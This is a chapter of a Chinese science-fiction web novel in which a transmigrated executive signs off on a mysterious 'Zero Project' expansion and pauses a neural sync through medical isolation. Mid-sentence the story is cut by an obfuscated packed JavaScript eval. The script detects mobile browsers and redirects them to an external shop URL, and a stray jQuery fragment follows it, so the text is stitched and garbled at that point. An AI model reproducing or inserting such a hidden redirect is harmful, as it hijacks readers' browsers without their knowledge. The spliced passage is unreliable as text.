1.4
何见微直接叫了她的名字，还说，她今天和过去不太一样。
致嫃心里飞快过了一遍自己刚才说过的话、做过的事，脸上却没有露出半分异样。她只是轻轻勾了下唇角，反问：“是吗？哪里不一样？”
何见微抬眸看她，没有回答。过了片刻，她忽然问：“你的个人终端呢？”
升降梯正在快速上行，透明舱壁外，一层层楼面从眼前掠过。
致嫃心里微紧，语气仍旧平静：“没接。”
“发生什么了？”
“维护以后头疼。”
这倒不算撒谎，醒来时那阵几乎要将脑袋劈开的疼痛，现在想起来，仍让致嫃后颈发凉。
何见微沉默了一会，而后她淡淡道：“不接也好。”
致嫃转头看她。
“刚维护完就做完整同步，一点小波动都会被上传。”何见微语气随意，像是在说一件很平常的事，“这些协议程序有时候分不清，是维护后的正常反应，还是出了别的问题。”
她神色平静，可语气却带着一些厌烦。
这些协议程序？是说赛音吗？致嫃心中疑问，但她没有出声，只静静看着何见微。
何见微很快移开视线，她继续道：“不过终端也不能一直不用。有时候我会先开医疗隔离。”
“是吗？”致嫃的语气听不出波澜。
何见微重新看向她，目光依旧平静，却让致嫃的神经无声绷紧。数秒后，何见微道：“是的。”
她顿了顿，又像随口吐槽：“二等公民不用经过赛音，但莫莱也没比它好到哪里去。”
话音刚落，升降梯发出一声轻响，金属门向两侧滑开，何见微率先走了出去。
致嫃跟在她身后，心里却反复琢磨刚才那几句话。
二等公民不受赛音监控，监控何见微的是莫莱。莫莱是什么？另一个人工智能，还是只属于二等公民的管理系统？莫莱和赛音是否都是何见微口中的协议程序？
更重要的是，何见微为什么要主动告诉她这些？是因为她今天表现得和原主差别太大，对方已经察觉到了什么？还是因为何见微本来就不喜欢原主，却对她刚才保留若愚视觉神经的决定产生了几分认可？
致嫃暂时无法判断，她压下心里的疑问，不动声色地打量四周。
和楼下的大厅相比，这一层空旷还安静。墙面是统一的白色，偶尔有工作人员从透明房间里经过，手里拿着形状各异的机械零件。
其中一间房里，一个看起来只有十几岁的女孩坐在台边，低头活动着刚安装好的金属手指。
五根手指还不算灵活，时而握紧，时而又一点点张开。每成功完成一个动作，站在她身边、穿着明日医疗制服的女人就会低头记录一次。
致嫃不由多看了两眼。
“行健·执握系列第四代测试版。”何见微淡声解释，“目前看起来，适配得还不错，应该能在700日正式发行。”
致嫃看着女孩，她抬起机械手，小心翼翼地向前伸去。第一次，她的指尖从水杯边缘滑开；第二次，五根金属手指终于慢慢收拢，完整地握住了水杯。
女孩怔了几秒，随即笑了起来。
致嫃站在原地，看到她低头反复打量那只手。
科技的发展，无论在哪里，似乎都是一把双刃剑。这个世界确实陌生，可技术的进步，又确实改变了不少普通人的生活。
若愚的机械眼可以被明日医疗随时收回；眼前这只机械手，也确实让一个失去手掌的女孩重新握住了东西。
“先去我的办公室吧。”何见微说。
致嫃收回视线，没有拒绝。
两人最终停在一扇金属门前，门旁写着：【生物机械部部长办公室-何见微】
何见微走到感应面板前，一道蓝光从她的个人终端上扫过，随后，一道明显不同于赛音的女声响起：“欢迎回来，见微部长。”
致嫃紧随其后，扫描落到她身上时，蓝光重新变成了熟悉的绿色，赛音的声音随即响起：“致嫃女士申请进入。”
已经走进办公室的何见微回过头：“进。”
金属门这才完全打开。
致嫃走进去，心里却再次生出疑问。
她明明是明日医疗的执行董事，进入一个部门负责人的办公室，居然还需要经过对方同意。是因为何见微是二等公民，还是因为她这个执行董事，本来就没有自己想象中那么大的权限？
何见微的办公室很空，一张环形办公桌几乎占据了整个房间，桌面上方悬浮着数块光屏，上面密密麻麻地排列着数据。
致嫃没有细看那些无法理解的内容，她只注意到正中央那行醒目的文字。
【零号项目进度】
“还剩多少时标？”她问。
“19个。”何见微回答，“刚才处理若愚的事情，耽误了一些时间。”
致嫃拉开一把椅子坐下，抬手按了按仍在隐隐作痛的眉心：“把最终版过一遍。”
何见微的视线在她脸上停了一瞬，却没有多问。她抬手划过桌面，周围那些密密麻麻的数据迅速收拢，最后只剩下一页简短的说明。
【零号项目第二阶段】
【新增区域：下城第七、第九、第十一医疗区】
【预计接入人数：八万】
何见微道：“神经适配部的知弦上午终于签字了，目前的进度和预期一致。”
致嫃注意到，文件下方显示着何见微的授权时间。
【187.422.777】
而知弦的签字时间则是：187.423.458。
这个世界记录时间的方式，还真是怎么看怎么奇怪。
“和你签字时相比，内容有改动吗？”致嫃问。
“没有。”何见微回答，“昨晚我签字以前，已经把风险内容同步给了知弦。”
“他为什么拖到今天？”
何见微回答得很干脆：“他有病。”
致嫃眉梢轻轻一扬，看来，何见微和这位神经适配部的知弦不太对付。她重新看向屏幕，上面的许多名词，她根本看不懂。
不过好在，她也不需要弄懂，只要糊弄过去就可以。项目已经经过两个部门负责人的确认，内容也没有临时变动。相比突然叫停，引来更多人的关注，按照原计划完成授权，是眼下风险更小的选择。
“那就签吧。”致嫃说。
何见微没有异议，抬手点开最终确认页面。
【零号项目第二阶段最终授权】
【授权人：致嫃】
【请选择授权方式】
【个人终端/生物授权】
致嫃没有犹豫，选择了第二项。
一道绿色光线从环形桌上升起，依次扫过她的面部、眼睛和手掌。
【C3-01-87808，身份有效】
【是否确认零号项目第二阶段正式启动？】
致嫃看着屏幕，她根本不知道零号项目是什么。但至少目前看来，明日医疗从上到下都十分在意这个项目。否则，也不会因为若愚违规保存了2个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877826|212408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时标的数据，就直接回收他的义眼，甚至准备切断他的视觉神经。
这个项目肯定是任务关键，可她现在没有资格犹豫太久。
倒计时仍在减少。
从她进入何见微办公室到现在，已经过去了2个时标。
致嫃抬起手，按下确认。
【授权成功，零号项目第二阶段正式启动】
【预计于三个标准日后，即187.426，开放首批接入】
提示缓慢消失，办公室重新安静下来。
没有警报，赛音也没有再次试图抹杀她。
致嫃心里一直绷着的那根弦，终于稍微松了一点。至少生物授权只确认了这具身体的身份，并没有进一步检查里面的人究竟是不是原主。
“好了。”何见微看了眼时间，毫不客气地说，“快到760了，我要准备下班。”
致嫃挑了下眉：“不耽误你，我先回办公室。”
“你没接个人终端，进不了执行层。”
致嫃这才垂眸看了下自己空着的手腕，露出些许无奈的神情来，说：“忘了。”
“医疗隔离也只是暂时的。”何见微说完，转过身整理桌上的文件，“时间不早了，你都三天没有回家了，今天零号项目确认授权完了，你也歇歇吧。”
何见微始终没有回头。
致嫃安静了两秒，轻轻笑了一下：“知道了。”
她走向门口，金属门完成扫描后缓慢打开。迈出去以前，致嫃下意识说了一句：“明天见。”
办公室里安静了一瞬，何见微抬起头，轻道：“明天见。”
金属门在两人之间缓缓合拢。
走出何见微的办公室后，致嫃抬眼看见了走廊尽头的洗手间标识。她脚步微顿，随即径直走了过去。
洗手间门口没有赛音常用的绿色感应面板，至少从表面上看，这个世界仍然给人保留了一点最基本的隐私。
致嫃走进最里面的隔间，锁上门，坐在马桶盖上，从外套口袋里拿出了个人终端。
黑色薄片安静地躺在掌心，她看了两秒，才将终端贴上手腕。边缘刚刚与皮肤贴合，蓝色光线便迅速亮起。
【身份连接成功】
【神经同步程序已启动：7%】
致嫃的心猛地一沉，上一次接入时，同步进度明明是3%，为什么这一次刚刚接上，就已经到了7%？
难道神经同步的进度，也会在循环里保留下来？还是因为她这次授权耽误了时间？
【神经同步：8%】
来不及细想，致嫃立刻翻开终端页面，快速寻找何见微刚才提到的医疗隔离。
页面上的内容不断滑过。
【神经同步：9%】
维护记录、脑部状态、终端权限……
致嫃强迫自己冷静下来，在维护页面最下方找到了一个不起眼的选项。
【医疗隔离】
她没有犹豫，直接点了下去。
【医疗隔离启动后，将暂停当前神经同步】
【是否确认？】
“确认。”
【神经同步：10%】
蓝色光线骤然一暗，正在增长的数字停在了10%。
片刻后，新的提示浮现在她眼前。
【医疗隔离已启动，当前神经同步暂停】
【剩余隔离时间：40时标】
【隔离结束后，将继续完成神经同步】
致嫃盯着最后一行字，翻了个白眼。这该死的鬼地方，不弄死她决不罢休吗？